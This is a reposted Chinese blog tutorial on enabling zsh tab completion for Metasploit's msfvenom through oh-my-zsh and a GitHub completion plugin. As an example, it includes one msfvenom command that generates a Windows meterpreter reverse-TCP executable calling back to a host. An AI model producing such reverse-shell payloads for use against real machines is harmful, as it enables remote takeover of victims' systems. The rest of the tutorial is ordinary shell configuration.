Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Kali 工具 之 Msfvenom 命令自动补全篇

Kali 工具 之 Msfvenom 命令自动补全篇

作者头像
Ms08067安全实验室
发布于 2019-09-25 00:17:02
发布于 2019-09-25 00:17:02
4.7K1
举报

0X00 背景: msfvenom大家都不陌生,在我们使用MSF进行权限维持,内网渗透的时候都会用到,支持的语言的种类很多。大家都知道我们在使用msfvenom 的时候需要手动输入很多参数,这些参数需要记忆,或记在其它地方,用的时候在查看使用哪个参数,哪条命令,非常的不方便。 比如:我要生成一个 32 位 exe 的 payload,命令为: msfvenom

-p windows/meterpreter/reverse_tcp

LHOST=1.1.1.1 LPORT=1234 -f exe -o /home/a.exe 全靠手一个字一个字输入啊,这还不算 -a -e -i -x 等参数,而且每个参数选项也非常多,这得记多少东西。

偶然看到亮神写的一篇“解决 msfvenom 命令自动补全”文章,心想,还有这操作?

瞬间感觉走上了人生巅峰

注:亮神给的文档并不是按照一步一步写的,更像是笔记,所以有些内容不全,按照他给的操作是不成功的, 而按照官方给的操作也没有做成功。问题到底出现在哪里?下面附上我整个的操作步骤!

0X01 实验环境: 操作系统:ubuntu16.04

部署软件:metasploit5.0

0X02 安装 oh-my-zsh 命令补全功能要借助 oh-my-zsh 软件,官装方法,找个适合自己的就可以, 官网地址:https://ohmyz.sh/ 因为我是 ubuntu 系统,我选择安装

sh -c "$(wget https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)"

What? 报错了,原来需要依赖 zsh,使用 apt-get install zsh 安装

安装完成后,再安装 oh-my-zsh

出来此界面说明安装成功!

0X03 安装自动补全脚本 输入: git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/

查看是否已下载_msfvenom 文件

使用 nano 命令打开 ~/.zshrc 文件 nano~/.zshrc 找到 plugins=(git) 将 msfvenom 添加到里面 plugins=(gitmsfvenom)

保存,退出 执行 source~/.zshrc 或 zsh 命令。 按照以上的操作应该就能实现了,此步骤也是官方给出的步骤,但是实际操作后,并不能补全命令

按 tab 键没有任何反应,说明失败。

0X04 解决方法 我也是经过了很长时间才找到解决方法的,是我无意中看见关于 docker 命令补全方法, 其中多出了两条命令,我拿过来一试,成功了,尼玛,意不意外,惊不惊喜?

到底是哪两条命令呢 ,官方解释 fpath=(~/.zsh/completion$fpath) ($fpath 通过添加来包含您的目录~/.zshrc) autoload-Uzcompinit&&compinit-i (确保 compinit 已加载或通过添加~/.zshrc)

将这两条命令加到 ~/.zshrc 最后一行

保存退出,zsh 一下,输入 msfvenom- 按 tab 键,奇迹出现了

感受一下

是不是很爽,都不需要看文档,直接输出,很方便。

参考文献 感谢亮神,如果没有亮神的笔记,根本就不知道还有这操作。 感谢工具作者,让我们使用起来更方便。 原网址:https://github.com/Green-m/msfvenom-zsh-completion Oh-my-zsh

官网:https://ohmyz.sh/ 亮神笔记《第三十讲:解决 msfvenom 命令自动补全》

docker 官网:https://docs.docker.com/compose/completion/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-06-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
1 条评论
热度
最新
成功了,谢谢博主
成功了,谢谢博主
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
mac下终端命令提示补全
在码字的大舞台上,我们时常需要一个灵感的引导,就像在终端中输入命令时,需要一个智能的提示。Zsh-autosuggestions就是这个智能的命令行小助手,为你的终端生活带来更多便捷。在这篇文章中,我们将揭开Zsh-autosuggestions的神秘面纱,一起探索在Mac终端中如何让你的命令行操作更加得心应手。
一只牛博
2025/05/30
1270
mac下终端命令提示补全
Docker 命令自动补全必须有
不知道这个小伙伴有多久没用过 Docker 了, 突然对我说 Docker 命令怎么发生变化了
用户4172423
2020/12/15
2.9K0
Docker 命令自动补全必须有
ohmyz 插件
ohmyz 附带了一些插件,这些插件可在官网首页找到链接地址,点击下图的箭头指向处
很酷的站长
2022/12/19
2140
ohmyz 插件
oh-my-zsh好酷,别用Mac的bash shell了
特点: 1,当你git branch很多的时候,哪个branch在哪个文件夹?很蛋疼了把。 2,界面炫酷屌炸天,适合geek
rectinajh
2019/07/31
1.4K0
oh-my-zsh好酷,别用Mac的bash shell了
白瞎了你的 MackBook,这俩工具赶紧安排!
咖啡厅里带着,睡觉的时候抱着,就连如厕的时候,也会用卫生纸静静地抚舐键盘缝隙里的灰尘。整个MacBook沉浸在你无尽的爱中。
xjjdog
2022/05/20
3090
白瞎了你的 MackBook,这俩工具赶紧安排!
快速学习-Jenkins CLI自动补全
如果你已经在 mac 或 linux 上使用的是 oh-my-zsh,你可以尝试以下步骤:
cwl_java
2020/09/18
5920
oh-my-zsh,让你的终端从未这么爽过
oh my zsh shell的类型有很多种,linux下默认的是bash,虽然bash的功能已经很强大,但对于以懒惰为美德的程序员来说,bash的提示功能不够强大,界面也不够炫,并非理想工具。 而z
章鱼喵
2018/06/27
22.6K1
为啥人家的命令行终端如此炫酷?原来用了这款137K+Star的神器!
OhMyZsh是一款开源工具,可以用于管理Zsh(Linux命令解释器的一种)的配置。使用OhMyZsh可以让你看起来像有10年工作经验的程序员,OhMyZsh有几百种插件可以供你使用,还有各种炫酷的主题。OhMyZsh非常流行,在Github上已经有137K+Star!
macrozheng
2021/12/08
1.3K0
为啥人家的命令行终端如此炫酷?原来用了这款137K+Star的神器!
mac下安装kubeneters及zsh下配置自动补全
The kubectl completion script for Zsh can be generated with the command kubectl completion zsh. Sourcing the completion script in your shell enables kubectl autocompletion. To do so in all your shell sessions, add the following to your ~/.zshrc file:
全栈程序员站长
2021/05/19
5530
QQ机器人防风控部署方案
因为业务需求不得不部署一个Go语言写的QQ机器人用户群管理,但是在经过长达小半年的与腾讯风控间的拉锯战之后,我重新开始另一种尝试:本地部署。
HomeboyC
2022/09/19
2.5K0
打造高效终端:zsh + oh-my-zsh
安装 oh-my-zsh,参考文档:https://github.com/ohmyzsh/ohmyzsh?tab=readme-ov-file#basic-installation
Lcry
2024/07/17
3420
打造高效终端:zsh + oh-my-zsh
Iterm2 Theme
在打开的finder窗口中,双击Solarized Dark.itermcolors和Solarized Light.itermcolors即可安装明暗两种配色
DriverZeng
2022/09/26
1.2K0
Iterm2 Theme
我在 Mac 中使用过的那些 shell 工具
很多时候我们需要使用命令行进行一些操作,在 Mac 中有自带的终端(Terminal)可以使用,但功能比较简单,其他的一些工具也使用过不少,下面就简单介绍下我在 Mac 中用过的一些命令行工具。
oec2003
2024/06/14
2.5K0
我在 Mac 中使用过的那些 shell 工具
个性化终端 | zsh bash oh-my-zsh
自己装虚拟机发现为什么自己的虚拟机默认sh这么丑,而且自动补全不好用,今天才发现原来看到很好看的终端默认sh是zsh,而非bash。
宋天伦
2020/08/17
1.4K0
MAC/LINUX终端安装oh-my-zsh及配置常用插件
回想上大学以前第一次玩linux很上头,各种配置各种花里胡哨。从arch linux,manjaro,debian,ubuntu,deepin,甚至到后面够了一下网安的kali linux。除了kali外大同小异,几乎所有开源的主流发行版都折腾了遍,年少不懂事,统统上真机,环境docker乱成一锅粥的时候直接重装系统,备着七八个u盘的安装镜像启动盘。
生信初学者
2023/02/22
2.4K0
MAC/LINUX终端安装oh-my-zsh及配置常用插件
Linux ZSH 更便捷的 shell 环境
zsh 是一个为交互式使用而设计的 兼容 bash 的 shell,尽管它也是一个强大的脚本语言。Bash、 ksh 和 tcsh 的许多有用特性都被合并到 zsh 中; 还添加了许多原始特性。
为为为什么
2024/04/26
7730
Linux ZSH 更便捷的 shell 环境
Cobra 命令自动补全指北
用过类 Unix 系统中 Unix shell(Shell/Bash/Zsh) 的同学都应该对 TAB 键印象深刻,因为它可以帮忙补全或提示后续的命令,用户不用记住完整的命令,只需输入前几个字符,按 TAB 键,就会提示后续的命令供用户选择,用户体验极佳。目前流行的一些使用 Go 语言开发的 CLI 工具,如 kubectl 和 helm,他们也都有 completion 也就是命令自动补全功能,通过将 source <(kubectl completion zsh) 加入 .zshrc 文件中,就可以在每次启动 shell 时自动加载自动补全脚本,之后就可以体验到与原生 shell 相同的自动补全功能了。这些 CLI 工具,都是基于 Cobra[1] 库开发,命令自动补全功能也是该库提供的一个功能,本篇文章就来讲讲如何使用 Cobra 实现命令自动补全的。
郭旭东
2020/12/30
2.9K0
Cobra 命令自动补全指北
买不起MacBook,使用Windows 10配置zsh命令行做开发
从苹果转过来的开发都会感觉 Windows 下的命令行真是难用,接下来就跟着我来把 zsh 搬过来吧买不起 MacBook ,使用 Windows 10 配置 zsh 命令行做开发。[在这里插入图片描述]
AI悦创
2021/10/11
9080
更优雅的命令行输入工具 - Oh-My-ZSH
自macOS Catalina起, zsh 已取代 bash 成为新版操作系统中的默认 shell 。既然有这个条件, 不如试试更优雅的命令行输入吧.
叶子Tenney
2023/07/22
7660
更优雅的命令行输入工具 - Oh-My-ZSH
使用 iTerm2 打造美观高效的 Mac 终端
最近换了一台新电脑,开发环境和软件都需要重新安装和配置,正好借着这个机会,介绍一下 macOS 终端神器 iTerm2 的安装配置,并推荐一些插件和好用的工具。
郭旭东
2021/01/13
27K0
相关推荐
mac下终端命令提示补全
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档